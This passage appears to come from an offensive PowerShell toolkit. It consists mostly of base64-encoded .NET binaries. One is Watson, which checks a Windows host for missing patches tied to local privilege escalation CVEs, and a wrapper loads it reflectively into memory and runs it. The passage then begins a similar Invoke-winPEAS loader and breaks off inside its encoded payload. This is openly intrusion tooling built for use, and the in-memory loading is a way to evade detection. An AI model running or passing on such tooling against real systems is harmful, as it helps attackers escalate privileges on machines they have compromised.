zADoALwAvAGQAZQBjAG8AZABlAHIALgBjAGwAbwB1AGQALwAyADAAMQA5AC8AMAA0AC8AMgA5AC8AYwBvAG0AYgBpAG4AaQBnAC0AbAB1AGEAZgB2AC0AcABvAHMAdABsAHUAYQBmAHYAcABvAHMAdAByAGUAYQBkAHcAcgBpAHQAZQAtAHIAYQBjAGUALQBjAG8AbgBkAGkAdABpAG8AbgAtAHAAZQAtAHcAaQB0AGgALQBkAGkAYQBnAGgAdQBiAC0AYwBvAGwAbABlAGMAdABvAHIALQBlAHgAcABsAG8AaQB0AC0AZgByAG8AbQAtAHMAdABhAG4AZABhAHIAZAAtAHUAcwBlAHIALQB0AG8ALQBzAHkAcwB0AGUAbQAvAAEbQwBWAEUALQAyADAAMQA5AC0AMAA4ADQAMQABVWgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcgBvAGcAdQBlAC0AawBkAGMALwBDAFYARQAtADIAMAAxADkALQAwADgANAAxAAFTaAB0AHQAcABzADoALwAvAHIAYQBzAHQAYQBtAG8AdQBzAGUALgBtAGUALwB0AGEAZwBzAC8AYwB2AGUALQAyADAAMQA5AC0AMAA4ADQAMQAvAAEbQwBWAEUALQAyADAAMQA5AC0AMQAwADYANAABX2gAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAeQB0AGgAbQBzAHQAaQBjAGsALgBuAGUAdAAvAHAAbwBzAHQAcwAvAGMAdgBlAC0AMgAwADEAOQAtADEAMAA2ADQALwABG0MAVgBFAC0AMgAwADEAOQAtADEAMQAzADAAAV1oAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvAFMAaABhAHIAcABCAHkAZQBCAGUAYQByAAAbQwBWAEUALQAyADAAMQA5AC0AMQAyADUAMwABV2gAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcABhAGQAbwB2AGEAaAA0AGMAawAvAEMAVgBFAC0AMgAwADEAOQAtADEAMgA1ADMAARtDAFYARQAtADIAMAAxADkALQAxADMAMQA1AAGAq2gAdAB0AHAAcwA6AC8ALwBvAGYAZgBzAGUAYwAuAGEAbABtAG8AbgBkAC4AYwBvAG4AcwB1AGwAdABpAG4AZwAvAHcAaQBuAGQAbwB3AHMALQBlAHIAcgBvAHIALQByAGUAcABvAHIAdABpAG4AZwAtAGEAcgBiAGkAdAByAGEAcgB5AC0AZgBpAGwAZQAtAG0AbwB2AGUALQBlAG8AcAAuAGgAdABtAGwAARtDAFYARQAtADIAMAAxADkALQAxADMAOAA1AAFXaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBvAHUAdAB1AGIAZQAuAGMAbwBtAC8AdwBhAHQAYwBoAD8AdgA9AEsANgBnAEgAbgByAC0AVgBrAEEAZwABG0MAVgBFAC0AMgAwADEAOQAtADEAMwA4ADgAAVFoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGoAYQBzADUAMAAyAG4ALwBDAFYARQAtADIAMAAxADkALQAxADMAOAA4AAEbQwBWAEUALQAyADAAMQA5AC0AMQA0ADAANQABgZFoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBuAGMAYwBnAHIAbwB1AHAALgB0AHIAdQBzAHQALwB1AGsALwBhAGIAbwB1AHQALQB1AHMALwBuAGUAdwBzAHIAbwBvAG0ALQBhAG4AZAAtAGUAdgBlAG4AdABzAC8AYgBsAG8AZwBzAC8AMgAwADEAOQAvAG4AbwB2AGUAbQBiAGUAcgAvAGMAdgBlAC0AMgAwADEAOQAtADEANAAwADUALQBhAG4AZAAtAGMAdgBlAC0AMgAwADEAOQAtADEAMwAyADIALQBlAGwAZQB2AGEAdABpAG8AbgAtAHQAbwAtAHMAeQBzAHQAZQBtAC0AdgBpAGEALQB0AGgAZQAtAHUAcABuAHAALQBkAGUAdgBpAGMAZQAtAGgAbwBzAHQALQBzAGUAcgB2AGkAYwBlAC0AYQBuAGQALQB0AGgAZQAtAHUAcABkAGEAdABlAC0AbwByAGMAaABlAHMAdAByAGEAdABvAHIALQBzAGUAcgB2AGkAYwBlAC8AAQsxADAAMgA0ADAAAAsxADAANQA4ADYAAAsxADQAMwA5ADMAAAsxADUAMAA2ADMAAAsxADYAMgA5ADkAAAsxADcAMQAzADQAAAsxADcANwA2ADMAAAsxADgAMwA2ADIAAAsxADgAMwA2ADMAADMgAFsAKgBdACAATwBTACAAQgB1AGkAbABkACAATgB1AG0AYgBlAHIAOgAgAHsAMAB9AABJIABbACEAXQAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAANAAoAAEcgAFsAKgBdACAARQBuAHUAbQBlAHIAYQB0AGkAbgBnACAAaQBuAHMAdABhAGwAbABlAGQAIABLAEIAcwAuAC4ALgANAAoAABVyAG8AbwB0AFwAYwBpAG0AdgAyAABdUwBFAEwARQBDAFQAIABIAG8AdABGAGkAeABJAEQAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUQB1AGkAYwBrAEYAaQB4AEUAbgBnAGkAbgBlAGUAcgBpAG4AZwAAEUgAbwB0AEYAaQB4AEkARAAAESAAWwAhAF0AIAB7ADAAfQAAW1MARQBMAEUAQwBUACAAQgB1AGkAbABkAE4AdQBtAGIAZQByACAARgBSAE8ATQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtAAAXQgB1AGkAbABkAE4AdQBtAGIAZQByAAAPNAA1ADEANgAwADYAOAAADzQANQAxADYAMAA1ADkAAA80ADUAMgAyADAAMQAxAAAPNAA1ADIAMAAwADEAMAAADzQANQAyADQAMQA1ADEAAA80ADUAMgA1ADIANAA1AAAPNAA1ADMAMAA3ADEAMQAADzQANQAxADYAMAA2ADYAAA80ADUAMQA2ADAANwAxAAAPNAA1ADIAMgAwADEAMgAADzQANQAyADAAMAAwADQAAA80ADUAMgA0ADEANQAwAAAPNAA1ADIANQAyADQAMQAADzQANQAzADAANwAxADQAAA80ADUAMQA2ADAANQA4AAAPNAA1ADEANgAwADQANQAADzQANQAyADIAMAAxADQAAA80ADUAMgAwADAAMAA4AAAPNAA1ADIANAAxADQAOQAADzQANQAyADUAMgAzADcAAA80ADUAMwAwADcAMQA3AAAPNAA1ADEAMgA1ADcAOAAADzQANQAxADYAMAA3ADcAAA80ADUAMgAyADAAMQA1AAAPNAA1ADEAOQAzADMAOAAADzQANQAyADQAMQA0ADgAAA80ADUAMgAzADIAMAA1AAAPNAA1ADMAMAA3ADEANQAADzQANQAxADUAMwA4ADQAAA80ADUAMQA3ADIAMQAxAAAPNAA1ADIAMgAwADEANgAADzQANQAxADcAMwA4ADkAAA80ADUAMgA0ADEANAA3AAAPNAA1ADIANAA1ADcAMAAADzQANQAzADAANgA4ADQAAA80ADUAMgA1ADIAMwAyAAAPNAA1ADMAMAA2ADgAMQAADzQANQAyADUAMgAzADYAAA80ADUAMwAwADYAOAA5AAAPNAA1ADIAMAAwADEAMQAADzQANQAxADkAOQA5ADgAAA80ADUAMQA5ADkANwA5AAAPNAA1ADIAMAAwADAANgAADzQANQAxADkAOQA3ADgAAA80ADUAMgAwADAANgAyAAAPNAA1ADIAMgAzADUANQAADzQANAA5ADMANAA3ADUAAA80ADQAOQA4ADMANwA1AAAPNAA0ADkAOQAxADUANAAADzQANQAwADUAMAA1ADEAAA80ADUAMAAzADIAOQAxAAAPNAA1ADAANwA0ADUAOAAADzQANQAxADIANAA5ADcAAA80ADUAMQA3ADIANwA2AAAPNAA1ADEANgAwADcAMAAADzQANQAyADIAMAAwADkAAA80ADUAMgA0ADEANQAzAAAPNAA0ADkAMwA0ADcAMAAADzQANAA5ADMANAA3ADMAAA80ADQAOQA5ADQAMQA4AAAPNAA0ADkANAA0ADQAMAAADzQANAA5ADkAMQA3ADcAAA80ADUAMAA1ADAANQAyAAAPNAA1ADAAMwAyADYANwAADzQANQAwADMAMgA5ADQAAA80ADUAMAA5ADQANwA1AAAPNAA1ADAANwA0ADUAOQAADzQANQAwADcANAA2ADAAAA80ADUAMQAyADQAOQA1AAAPNAA1ADEAMgA1ADEANwAADzQANQAxADYAMAA0ADQAAA80ADUAMQA2ADAANgAxAAAPNAA1ADIAMgAwADEAMAAADzQANQAyADQAMQA1ADIAAA80ADQAOQAzADQANwA0AAAPNAA0ADkAMwA0ADMANgAADzQANAA5ADkAMQA2ADIAAA80ADQAOQA5ADEAOAAxAAAPNAA1ADAAMgAxADEAMgAADzQANQAwADUAMAA1ADUAAA80ADUAMAAzADIANwA5AAAPNAA1ADAAMwAyADgAOQAADzQANQAwADkANAA3ADYAAA80ADUAMAA3ADQANQAwAAAPNAA1ADAANwA0ADYANwAADzQANQAxADIANAA3ADQAAA80ADUAMQAyADUAMAA3AAAPNAA0ADkAMwA0ADQAMQAADzQANAA5ADMANAA0ADAAAA80ADQAOQA5ADEANAA3AAAPNAA0ADkAOQAxADcAOQAADzQANQAwADUAMAA2ADIAAA80ADUAMAAzADIAOAAxAAAPNAA1ADAAMwAyADgANAAADzQANQAwADkANAA3ADcAAA80ADUAMAA3ADQANQA1AAAPNAA1ADAANwA0ADYANQAADzQANQAxADIANAA5ADQAAA80ADUAMQAyADUAMQA2AAANNAA1ADIANQAyADQAAA80ADQAOQAzADQANgA0AAAPNAA0ADkAMwA0ADMANwAADzQANAA5ADkAMQA2ADcAAA80ADQAOQA5ADEAOAAzAAAPNAA1ADAANQAwADYANAAADzQANQAwADMAMgA4ADYAAA80ADUAMAAzADIAOAA4AAAPNAA1ADAAOQA0ADcAOAAADzQANQAwADcANAAzADUAAA80ADUAMAA3ADQANgA2AAAPNAA1ADEAMgA1ADAAMQAADzQANQAxADIANQAwADkAABFCADQANQAzADAANwAxADcAAA80ADQAOQAzADUAMAA5AAAPNAA0ADkANQA2ADYANwAADzQANAA5ADQANAA0ADEAAA80ADQAOQA3ADkAMwA0AAAPNAA1ADAAMQA4ADMANQAADzQANQAwADUAMAA1ADYAAA80ADUAMAAxADMANwAxAAAPNAA1ADAAMwAzADIANwAADzQANQAwADkANAA3ADkAAA80ADUAMAA1ADYANQA4AAAPNAA1ADAANwA0ADYAOQAADzQANQAxADEANQA1ADMAAA80ADUAMQAyADUAMwA0AAAPNAA1ADAANwA0ADUAMwAADzQANQAwADUAOQAwADMAAA80ADUAMQAyADUAMAA4AAAPNAA1ADEAMgA5ADQAMQAADzQANQAwADMAMgA5ADMAAA80ADUAMAAxADMANwA1AADgsFBWuVKWQbl5+27mZJ2bAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIEAAEBDgQHARJEBxUSUQISFAIFIAIBHBgSEAECHgAVEnEBHgAVElECHgACBAoBEhQOBwUVEkkBEhQSFB0OCA4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" | |
4 | $RAS = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64binary)) | |
5 | ||
6 | $OldConsoleOut = [Console]::Out | |
7 | $StringWriter = New-Object IO.StringWriter | |
8 | [Console]::SetOut($StringWriter) | |
9 | ||
10 | [Watson.Program]::Main("") | |
11 | ||
12 | [Console]::SetOut($OldConsoleOut) | |
13 | $Results = $StringWriter.ToString() | |
14 | $Results | |
15 | } |
0 | function Invoke-winPEAS | |
1 | { | |
2 | ||
3 | [CmdletBinding()] | |
4 | Param ( | |
5 | [String] | |
6 | $Command = "cmd" | |
7 | ) | |
8 | $base64binary="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AAAKEwgrGhIIKE4AAAoTCREGEQlvTwAAChUuBRcTB94ZEggoUAAACi3d3g4SCP4WEgAAG28VAAAK3BEHLRAGEQYRBhYobQAABm87AAAKEQQXWBMEEQQJjmk/If///3LfAABwcusBAHAoZwAABgwIOekAAAAIDRYTBDjVAAAACREEmhMKct8AAHByawIAcBEKKEQAAApywQEAcChkAAAGEwsRCyhFAAAKOqAAAAARC3LhAQBwcuUBAHBvRgAAChMLEQty5wEAcG9HAAAKLBMRCxYRC29IAAAKF1lvSQAAChMLBhELb0oAAAotYhELKEsAAAosWRYTDAZvTAAACm9NAAAKEwgrGhIIKE4AAAoTDRELEQ1vTwAAChUuBRcTDN4ZEggoUAAACi3d3g4SCP4WEgAAG28VAAAK3BEMLRAGEQsRCxYobQAABm87AAAKEQQXWBMEEQQJjmk/If///wYqAAEcAAACACUBJ0wBDgAAAAACACQCJ0sCDgAAAAAbMAcAIAEAAAgAABFzUQAACgpzMAAACiVy9AIAcChSAAAKbzQAAAolcmQDAHAoUgAACm80AAAKb1MAAAoLOMwAAAASAShUAAAKctwDAHAWKFUAAAoMFg04qQAAAAgJmhMEEQQoVgAAChMFBnM4AAAKJXLgAwBwcuUBAHBvOgAACiVy6AMAcBEFbzoAAAolcvYDAHARBG86AAAKJXIABABwcuUBAHBvOgAACiVyHAQAcHKVAABwEQV+PQAABChpAAAGKDkAAApvOgAACiVyTAQAcHKVAABwEQR+PQAABChoAAAGKDkAAApvOgAACiVyeAQAcHLlAQBwbzoAAApvVwAACgkXWA0JCI5pP07///8SAShYAAAKOij////eDhIB/hYUAAAbbxUAAArcBioBEAAAAgAxAN8QAQ4AAAAAEzADABQAAAAJAAARAijnAAAGKA8AAAYKJQZvWQAACiobMAIAOQAAAAoAABESAHNRAAAKfVYAAAQoWgAACm9bAAAKEgAoEwAABt4TC3KFAABwByg1AAAKKCAAAAbeAAZ7VgAABCoAAAABEAAAAAAMABMfABMXAAABHgIoIAAACiobMAIAXQAAAAsAABECb1wAAApvXQAACgorDAZvXgAACgMoFAAABgZvFgAACi3s3goGLAYGbxUAAArcAm9fAAAKb2AAAAoLKwwHb2EAAAoDKBMAAAYHbxYAAAot7N4KBywGB28VAAAK3CoAAAABHAAAAgAMABgkAAoAAAAAAgA6ABhSAAoAAAAAGzAIAEQBAAAMAAARAm9iAAAKOTgBAAACb2MAAApvZAAACm9lAAAKKEUAAAo6HgEAAAJvYwAACm9kAAAKb2UAAApymgQAcG9mAAAKOv8AAABzMAAACgoCb2MAAApvZwAACm9oAAAKCysYB29pAAAKDAZyrgQAcAgoRAAACm80AAAKB28WAAAKLeDeCgcsBgdvFQAACtwDe1YAAARzOAAACg0JcrYEAHACb2oAAApvOgAACglywAQAcHKuBABwAm9jAAAKb2sAAAooRAAACihSAAAKbzoAAAoJcs4EAHBy3gQAcAYoOQAACm86AAAKCXL8BABwcpUAAHAXjWUAAAElFgJvYwAACm9kAAAKb2UAAAqiKGwAAApvOgAACglyCgUAcHKVAABwF41lAAABJRYCb2MAAApvZAAACm9tAAAKoihsAAAKbzoAAAoJb1cAAAoqARAAAAIAWwAkfwAKAAAAABMwBgB3AAAAAAAAAH4NAAAEciIFAHAajREAAAElFn4KAAAEoiUXfgkAAASiJRh+DQAABKIlGX4SAAAEoihuAAAKfhIAAAQobwAACihwAAAKKHEAAAp+DAAABHKPEwBwfg0AAAR+HgAABChyAAAKKHAAAAoocQAACiC8AgAAKHMAAAoqABMwBAB7AAAAAAAAAH4fAAAELAUoFQAABh6NZQAAASUWfgsAAASiJRdypRMAcKIlGH4JAAAEoiUZfh0AAASiJRp+EgAABKIlG34LAAAEoiUccrsTAHCiJR1+EgAABKIodAAACihwAAAKKHEAAAooFwAABihxAAAKctsTAHBychQAcCgbAAAGKgATMAQAUQEAAAAAAAAbjWUAAAElFn4LAAAEoiUXctIUAHCiJRh+CQAABKIlGXLgFABwoiUafhIAAASiKHQAAAoocAAAChuNZQAAASUWfgcAAASiJRdy8BQAcKIlGH4FAAAEoiUZcgoVAHCiJRp+EgAABKIodAAACihwAAAKG41lAAABJRZ+CQAABKIlF3LBFQBwoiUYfgUAAASiJRly3xUAcKIlGn4SAAAEoih0AAAKKHAAAAobjWUAAAElFn4QAAAEoiUXcpAWAHCiJRh+BQAABKIlGXKsFgBwoiUafhIAAASiKHQAAAoocAAAChuNZQAAASUWfg0AAASiJRdy+BYAcKIlGH4FAAAEoiUZchQXAHCiJRp+EgAABKIodAAACihwAAAKG41lAAABJRZ+DAAABKIlF3JkFwBwoiUYfgUAAASiJRlyjhcAcKIlGn4SAAAEoih0AAAKKHAAAAoqAAAAEzAEAIEDAAAAAAAAG41lAAABJRZ+CwAABKIlF3K+FwBwoiUYfgkAAASiJRlyzBcAcKIlGn4SAAAEoih0AAAKKHAAAAobjWUAAAElFn4OAAAEoiUXcmsYAHCiJRh+BQAABKIlGXKHGABwoiUafhIAAASiKHQAAAoocAAAChuNZQAAASUWfg4AAASiJRdyyRgAcKIlGH4FAAAEo